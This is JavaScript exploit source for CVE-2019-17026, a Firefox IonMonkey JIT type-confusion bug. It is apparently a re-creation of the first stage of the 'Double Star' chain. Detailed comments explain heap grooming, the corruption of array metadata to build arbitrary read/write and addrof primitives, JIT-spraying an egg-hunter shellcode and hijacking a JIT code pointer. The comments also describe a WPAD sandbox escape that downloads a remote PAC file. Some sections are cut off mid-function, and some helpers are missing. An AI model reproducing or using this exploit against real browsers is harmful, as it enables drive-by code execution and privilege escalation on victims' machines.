Firefox 64-bit IonMonkey JIT/Type Confusion RCE. Represents the initial attack
vector when a user visits an infected web page with a vulnerable version of
Firefox. This component contains a stage one (egg hunter) and stage two (WPAD
sandbox escape) shellcode, the latter of which is only effective on Windows 8.1
due to hardcoded RPC IDL interface details for WPAD.
This is a Windows variation of CVE-2019-17026, an exploit targetting a type
confusion bug in the IonMonkey engine of Firefox up to FF 72. Due to specific
issues with heap grooming, this particular variant of CVE-2019-17026 only works
on versions of Firefox up to FF 69 even though the bug was not fixed until FF
72 and is still technically exploitable on FF 70 and 71.
CVE-2019-17026 represents the initial RCE vector in the Double Star exploit
chain. Unlike my re-creation of CVE-2020-0674, which is limited to efficacy
in IE/WPAD instances running within Windows 7 and 8.1 (with Windows 10 CFG and
WPAD sandboxing being beyond the scope of this project in complexity to bypass)
this particular exploit is effective on any version of Windows, including 10
provided that a vulnerable version of Firefox is installed. The reason for this
is that presence of (and exploit usage of) a JIT engine in this exploit makes
dealing with both DEP and CFG substantially easier.
~
Design
This exploit contains two shellcodes: an egg hunter/DEP bypass shellcode (which
is JIT sprayed) and a primary (stage two) shellcode stored as a static Uint8Array.
The stage one (egg hunter) shellcode is responsible for scanning the entire
memory space of the current firefox.exe process and finding the stage two
shellcode on the heap. This is achieved by prefixing the stage two shellcode
with a special 64-bit egg value which this egg hunter shellcode scans for. Once
it has found the stage two shellcode, it uses KERNEL32.DLL!VirtualProtect to
change its permissions to +RWX, and then directly executes it via a CALL
instruction.
The type confusion bug allows for an array boundscheck to be eliminated, thus
allowing for an OOB R/W via a glitched array. The nursery heap (where the array
is stored) is groomed so that 3 arrays are lined up in memory:
[Array 1][Array 2][Array 3]
The first array is used with the JIT bug to make an OOB write and corrupt the
metadata of the second array. Specifically, it corrupts its length to allow for
OOB R/W at will (without the JIT bug) which is subsequently used throughout
the remainer of the exploit to corrupt the Native Object structure of the third
array to build arbitrary R/W and AddressOf primitives.
A JIT spray is then used to spray an egg hunter shellcode (encoded as double
floats) into +RX memory, encapsulated in a do-nothing function. The JIT code
pointer of this function is leaked and subsequently used with an egg hunter
in the JS itself (using arbitrary read) to find the egg which marks the
start of the egg hunter shellcode in +RX memory. In this sense, the exploit
contains 2 egg hunters: a JS egg hunter which searches for a JIT sprayed egg
hunter which in turn hunts for the full (stage two) WPAD sandbox escape
shellcode. Once the JIT sprayed (stage one) egg hunter shellcode finds the stage
two shellcode, it sets its memory region to +RWX and directly executes it.
~
Sandboxing
The Firefox sandbox prevents access to the filesystem (besides a special sandbox
temp directory) and registry but additionally (unlike IE11 on Windows 8.1) locks
down access to the desktop window session (which prevents even a MessageBoxA
from popping) and sets a child process creation quota of zero (preventing the
creation of child processes). By adjusting the sandbox content level in the FF
"about:config" settings some of these features can be disabled for testing
purposes. For example, setting the content level down from "5" (the default) to
"2" will allow MessageBoxA to pop as well as child process creation, however even
when the content level is set down to "0" there are certain protections which will
persist (such as inability to access the file system).
One vector however which is not guarded by the sandbox is access to ALPC port
objects, which can be used to initiate connections to LocalServer32 COM servers
running in external (and potentially non-sandboxed or elevated) processes. This
detail is exploited by this chain by utilizing a stage two shellcode which
initiates an RPC (ALPC) connection to the WPAD service and triggers it to
download and execute a PAC file from a remote URL containing CVE-2020-0674 into
its own process (svchost.exe running as LOCAL SERVICE). In this way, the sandbox
can be escaped via RPC/ALPC and simultaneously elevated from the current user
session (which may have limited/non-administrator privileges) into a sensitive
service process.
~
Credits
maxpl0it - for writing the initial analysis and PoC for CVE-2019-17026 with a
focus on the Linux OS.
0vercl0k - for documenting IonMonkey internals in relation to aliasing and
the GVN.
*/
////////
////////
// Global helpers/settings
////////
function DebugLog(Message) {
if(EnableDebug) {
if(AlertOutput) {
alert(Message);
}
else {
console.log(Message); // In IE, console only works if devtools is open.
}
}
}
/*//////
////////
// MIR Boundscheck elimination bug/OOB array logic
////////
This is the primary logic exploiting the vulnerability itself. Fundamentally
CVE-2019-17026 is an aliasing bug in the IonMonkey JIT engine: an overly
strict aliasing type criteria can cause a potentially dangerous node such as
MStoreElementHole to be discarded as a STORE dependency for a sensitive LOAD
node such as MBoundsCheck. Thus in the event that a similar MBoundsCheck has
already been declared within a JIT'd function, we can trick IonMonkey into
believing these instructions to be congruent which will result in the
elimination of the second MBoundsCheck by the GVN due to congruence rules:
- LOAD instructions may be tied to their most recent STORE instruction as
dependencies during the aliasing phase of JIT compilation.
- After the aliasing phase comes the GVN phase, which eliminates redundant
nodes via congruence rules for optimization purposes.
- In order for two matching nodes (such as two boundschecks) to be considered
for redundancy elimination via congruence rules they must have matching
STORE dependencies.
- In a secure engine (such as FF 72+) the MStoreElementHole node will ALWAYS
be aliased to its following LOAD instruction regardless of whether operand
types are perfectly matching. This will result in a boundscheck following
an MStoreElementHole ALWAYS considering it to be a dependency and thus
never resulting in boundscheck elimination.
- In an insecure engine (such as being exploited here) the MStoreElementHole
node will only be aliased to a following MBoundsCheck node if the two meet
operand type criteria.
- MStoreElementHole can be manipulated into acting upon a different operand
type through use of a global sparse array. This will cause MBoundsCheck
(which is acting upon a constant array object) to have a different operand
type and thus thwart aliasing by IonMonkey.
- MStoreElementHole can also be used to trigger side-effects, such as setting
the length field of an array to 0 and heap grooming to prepare for an OOB
access to this array.
- As a result we may modify the .length field of an array prior to accessing
it at an arbitrary index despite the boundscheck no longer existing.
IonMonkey will produce nodes corresponding to these instructions:
MBoundsCheck
MStoreElement
MBoundsCheck
MStoreElementHole <- This node may trigger side-effects
MBoundsCheck <- This node will be eliminated by the optimizer
MStoreElement <- This node will be used for the OOB array R/W
Due to BugArray1[Index] having already been declared (and the boundscheck
executed) IonMonkey will eliminate the third boundscheck node. This allows us
to use the side-effect triggered by MStoreElementHole to set the modify the
BugArray11.length field and perform heap grooming prior to the final BugArray1
access.
The anatomy of an Array involves two data structures: a NativeObject which holds
the primary pointers relating to the Array element data, property types, etc.
struct NativeObject {
void *GroupPtr;
void *ShapePtr;
void *SlotsPtr;
void *ElementsPtr; // This does NOT point to the element metadata, it points OVER it to the actual element data itself.
}
Followed by an element metadata struct which holds data pertaining to the length,
capacity and initialization size of the elements data itself:
struct ElementsMetadata {
uint32_t Flags;
uint32_t InitializedLength; // The number of elements actually initialized (will be 0 when Array first declared). If you do Array(50) then set index 20 to something, the length will become 20 (and 0-19 will be allocated but marked uninitialized).
uint32_t Capacity; // Storage allocated for the array
uint32_t Length; // The literal .length property. Thus Array(50) even though it has an initialized length and capavity of 0 would have a length of 50.
// ...
}
Followed finally by the actual element data of the array, which is pointed to
by the NativeObject.ElementsPtr.
The bug is converted into exploit primitives R/W/AddressOf by setting up 3
arrays in memory prior to executing the JIT bug:
BugArray1 = new Array(0x20);
BugArray2 = new Array(0x20);
MutableArray = new Array(0x20);
This will eventually result in the following memory layout in the nursery heap:
Thus the OOB array access (via the JIT bug) will be used on BugArray1 to overwrite
BugArray2.ElementsMetadata. Subsequently, BugArray2 may be used to make OOB R/W
at will (without the need to repeat the JIT bug) and overwrite the
MutableArray.NativeObject in order to build the primitives for the remainer of
the exploit.
Prior to doing this, it is essential to do some heap grooming to prepare for the
OOB array access from BugArray1 to corrupt BugArray2.ElementsMetadata. Re-visiting
the vulnerable JS code:
Access to the SideEffectArray may be used to trigger some arbitrary code of our
choice prior to the second (vulnerable/no boundscheck) BugArray1 access. This
is used to set the .length field of the BugArray1, BugArray2 and MutableArray
arrays to zero and trigger the garbage collector. After doing so, these three
arrays will appear on the nursery heap as follows:
000000000B5BF100 000000000B5A5A60 <- BugArray1.NativeObject
000000000B5BF108 000000000B5C21C8
000000000B5BF110 0000000000000000
000000000B5BF118 000000000B5BF130 <- BugArray1.NativeObject.ElementsPtr
000000000B5BF120 0000000000000000 <- BugArray1.ElementsMetadata
000000000B5BF128 0000000000000006
000000000B5BF130 FFFA800000000000 <- BugArray1 raw element data
000000000B5BF138 FFFA800000000000
000000000B5BF140 FFFA800000000000
000000000B5BF148 FFFA800000000000
000000000B5BF150 FFFA800000000000
000000000B5BF158 FFFA800000000000
000000000B5BF160 000000000B5A5A90 <- BugArray2.NativeObject
000000000B5BF168 000000000B5C21C8
000000000B5BF170 0000000000000000
000000000B5BF178 000000000B5BF190
000000000B5BF180 0000007E00000000 <- Overwritten BugArray2.ElementsMetadata (note QWORD index 10 from the start of BugArray1.NativeObject.ElementsPtr)
000000000B5BF188 0000007E0000007E
000000000B5BF190 0000000000000000 <- BugArray2 raw element data
000000000B5BF198 0000000000000000
000000000B5BF1A0 0000000000000000
000000000B5BF1A8 0000000000000000
000000000B5BF1B0 0000000000000000
000000000B5BF1B8 0000000000000000
000000000B5BF1C0 000000000B5A5AC0 <- MutableArray.NativeObject
000000000B5BF1C8 000000000B5C21C8
000000000B5BF1D0 0000000000000000
000000000B5BF1D8 000000000B5BF1F0
000000000B5BF1E0 0000000000000000 <- MutableArray.ElementsMetadata
000000000B5BF1E8 0000000000000006
000000000B5BF1F0 0000000000000000 <- MutableArray raw element data
000000000B5BF1F8 0000000000000000
000000000B5BF200 0000000000000000
This layout is then used in conjunction with the JIT bug to begin the array
corruption.
*/
// Note that these arrays cannot be declared as vars
SideEffectArray = [1.1, 1.2, , 1.4]; // MStoreElementHole access to a global sparse array is the unique edge case causes aliasing with MBoundsCheck to fail due to operand type mismatch
BugArray1 = new Array(0x20); // This array will be used (after heap grooming) to make the OOB overwrite of BugArray2.ElementsMetadata. The heap grooming requires the .length be set to 0, but the length will not matter due to boundscheck elimination (the capacity however still will).
BugArray2 = new Array(0x20); // This array will be used to read and set pointers reliably and repeatably in MutableArray
MutableArray = new Array(0x20); // The NativeObject of this array are corrupted to build the exploit primitives
SideEffectArray.__defineSetter__("-1", function(x) { // Side effects called for OOB SideEffectArray access at index -1
// Key to understand here is that setting these lengths to 0 and having GC manipulate them into pointing at each other could be done without the boundscheck elimination bug. The boundscheck elimination bug however is what allows them to actually access each other, as it is necessary to set .length to 0 to do the GC trick and the boundschecks are based on .length. Note that access to all of these arrays will still be limited by their capacity metadata field despite elimination of their .length boundscheck.
BugArray1.length = 0;
BugArray2.length = 0;
MutableArray.length = 0;
GC();
});
function GC() { // Call the GC - Phoenhex function
BufSize = (128 * 1024 * 1024); // 128MB
for(var i = 0; i < 3; i++) {
var x = new ArrayBuffer(BufSize); // Allocate locally, but don't save
}
}
function BuggedJITFunc(SideEffectIndex, Index, DblVal) {
// Removes future bounds checks with GVN
// Triggers the side-effect function when a -1 index provided
SideEffectArray[SideEffectIndex] = 2.2;
// Write OOB and corrupt BugArray2.ElementsMetadata. Normally boundscheck would prevent this based on .length. Note that despite the bugged elimination of this check, access is still limited to the BugArray1.ElementsMetadata capacity metadata field.
BugArray1[Index] = DblVal; // Corrupt the BugArray2.ElementsMetadata capacity and length element metadata - 0x7e 0x00 0x00 0x00 0x7e 0x00 0x00 0x00
BugArray1[Index - 1] = 2.673714696616e-312; // Corrupt the BugArray2.ElementsMetadata flags and initialized length element metadata - 0x00 0x00 0x00 0x00 0x7e 0x00 0x00 0x00
}
for(var i = 0; i < JITIterations; i++) {
SideEffectArray.length = 4; // Reset the length so that StoreElementHole node is used
BuggedJITFunc(5, 11, 2.67371469724e-312);
}
// Call the JIT'd bugged function one more time, this time with an OOB write index of -1. There is substantial significance to using -1 as opposed to some other (larger) index which would still go OOB and trigger a side effect. The reason being that -1 is considered an "invalid index" (not just an OOB index) and is treated differently. OOB writes to the SideEffectArray with valid albeit indexes which will fail the boundscheck restrictions and will not trigger useful side effects. The reason for this being that access to valid indexes will cause the creation of a MSetPropertyCache node in the MIR, a node which is not susceptible to the exploit condition. The MIR instruction chosen to handle the SideEffectArray OOB MUST be MStoreElementHole, and MStoreElementHole will only be selected in the event of an INVALID index access, not simply an OOB one.
SideEffectArray.length = 4; // Reset the length one more time
BuggedJITFunc(-1, 11, 2.67371469724e-312);
// Initialize mutable array properties for R/W/AddressOf primitives. Use these specific values so that it can later be verified whether slots pointer modifications have been successful.
MutableArray.x = 5.40900888e-315; // Most significant bits are 0 - no tag, allows an offset of 4 to be treated as a double
MutableArray.y = 0x41414141;
MutableArray.z = 0; // Least significant bits are 0 - offset of 4 means that y will be treated as a double
8 bytes of data can be leaked from the address pointed to by the mutable array
NativeObject.SlotsPtr, as this address is interpreted as holding the value of
'x' (stored as a double). The drawback is that if the 8 bytes cannot be
interpreted as a valid double, they may be interpreted as a pointer and
dereferenced. In this sense, some values may not be be readable with this
primitive.
~ Weak arbitrary write
In the same way that the 'x' property pointed at by the slots pointer can be
used to read doubles it can also be used to write doubles. The only drawback
being that the value being written must be a valid double.
~ Weak AddressOf
The mutable array slots pointer (in its native object struct) is going to be
pointing at an array of 3 property values (for x, y and z). Since we are
trying to leak the object address (which will be written into the property
array slots for x, y or z) as a double, this will cause issues as the JS engine
will (correctly) attempt to dereference this address rather than interpret it
as a double.
Thus the trick is to set the slots pointer in the mutable array native object
ahead by 4 bytes. This the result that the object address (previously only in
the "y" slot) can now be partially read (32-bits at a time) from both "x" and
"y" and that these values are now certain to be valid doubles.
We can ensure the resulting double is valid by using bitwise AND to filter off
the significant bits responsible for differentiating between a valid and
non-valid double.
~ Strong arbitrary read
This primitive solves the issue of attempting to read 8 bytes in memory which
may be invalid doubles and thus misinterpreted as pointers (for example if the
tagged pointer bits are set).
The solution is to simply create a double float array, and then overwrite its
data pointer to point to the precise region we want to read. The key concept
here is that it reduces the ambiguity on the part of the JS engine. Since the
JS engine knows that the value at this address is explicitly a double float,
it will not attempt to potentially interprete it as an object pointer even if
those tagged bits are set.
*/
// Patch together a double of the target object address from the two 32-bit property values
HelperDbl[0] = MutableArray.x;
LeakedLow = HelperDword[1];
HelperDbl[0] = MutableArray.y; // Works in release, not in debug (assertion issues)
LeakedHigh = HelperDword[0] & 0x00007fff; // Filter off tagged pointer bits
BugArray2[8] = SavedSlotsPtr;
HelperDword[0] = LeakedLow;
HelperDword[1] = LeakedHigh;
return HelperDbl[0];
}
ExplicitDblArray = new Float64Array(1); // Used for the strong read
ExplicitDblArrayDataPtr = null; // Save the pointer to the data pointer so we don't have to recalculate it each read
function ExplicitLeakDbl(TargetAddress) {
WeakWriteDbl(ExplicitDblArrayDataPtr, TargetAddress);
return ExplicitDblArray[0];
}
JIT spray in modern Firefox 64-bit on Windows seems to behave very differently
when a special threshold of 100 double float constants are planted into a single
function and JIT sprayed. When more than 100 are implanted, the JIT code pointer
for the JIT sprayed function will look as follows:
Rather than implanting the double float constants into the JIT'd code region as
an array of raw constant data, the JIT engine has created a (very large) quantity
of code which manually handles each individual double float one by one (this code
goes on much further than I have pasted here). You can see this at:
This then introduces another constaint on JIT spraying beyoond forcing your
assembly bytecode to be 100% valid double floats. You are also limited to a
maximum of 100 doubles (800 bytes) including your egg prefix.
*/
function EggHunter(TargetAddressDbl) {
HelperDbl[0] = TargetAddressDbl;
for(var i = 0; i < 1000; i++) { // 1000 QWORDs give me the most stable result. The more double float constants are in the JIT'd function, the more handler code seems to precede them.
DblVal = ExplicitLeakDbl(HelperDbl[0]); // The JIT'd ASM code being scanned is likely to contain 8 byte sequences which will not be interpreted as doubles (and will have tagged pointer bits set). Use explicit/strong primitive for these reads.
if(DblVal == 5.40900888e-315) {
HelperDword[0] = HelperDword[0] + 8; // Skip over egg bytes and return precise pointer to the shellcode
return HelperDbl[0];
}
HelperDword[0] = HelperDword[0] + 8;
}
return 0.0;
}
////////
////////
// Primary high level exploit logic
////////
function Exploit() {
for(var i = 0; i < JITIterations; i++) {
JITSprayFunc(); // JIT spray the shellcode to a private +RX region of virtual memory
}
HelperDbl[0] = WeakLeakObjectAddress(JITSprayFunc); // The JSFunction object address associated with the (now JIT compiled) shellcode data.
HelperDword[0] = HelperDword[0] + 0x30; // JSFunction.u.native.extra.jitInfo_ contains a pointer to the +RX JIT region at offset 0 of its struct.
JITInfoAddress = WeakLeakDbl(HelperDbl[0]);
HelperDbl[0] = JITInfoAddress;
// Verify that MutableArray.x was not its initialized value during the last arbitrary read. This would only be the case if the slots ptr has NEVER been successfully overwritten post-addrof primitive (the address we attempted to read was not a valid double).
if(HelperDword[0] == 0x41414141) {
DebugLog("Arbitrary read primitive failed");
window.location.reload();
}
else {
// Setup the strong read primitive for the stage one egg hunter: attempting to interpret assembly byte code as doubles via weak primitive may crash the process (tagged pointer bits could cause the read value to be dereferenced as a pointer)
HelperDbl[0] = WeakLeakDbl(JITInfoAddress); // Leak the address to the compiled JIT assembly code associated with the JIT'd shellcode function from its JitInfo struct (it is a pointer at offset 0 of this struct)
DebugLog("Shellcode function object JIT code pointer is 0x" + HelperDword[1].toString(16) + HelperDword[0].toString(16));
JITCodePtr = HelperDbl[0];
ExplicitDblArrayAddress = WeakLeakObjectAddress(ExplicitDblArray);
HelperDbl[0] = ExplicitDblArrayAddress;
HelperDword[0] = HelperDword[0] + 56; // Float64Array data pointer
ExplicitDblArrayDataPtr = HelperDbl[0];
ShellcodeAddress = EggHunter(JITCodePtr); // For this we need the strong read primitive since values here can start with 0xffff and thus act as tags
if(ShellcodeAddress) {
// Trigger code exec by calling the JIT sprayed function again. Its code pointer has been overwritten to now point to the literal shellcode data within the JIT'd function
WeakWriteDbl(JITInfoAddress, ShellcodeAddress);
JITSprayFunc(); // Notably the location of the data in the stage two shellcode Uint8Array can be found at offset 0x40 from the start of the array object when the array is small, and when it is large (as in the case of the WPAD shellcode) a pointer to it can be found at offset 0x38 from the start of the array object. In this case though, the stage one egg hunter shellcode finds, disables DEP and ADDITIONALLY executes the stage two shellcode itself, so there is no reason to locate/execute it from JS.
}
else {
DebugLog("Failed to resolve shellcode address");
}
}
}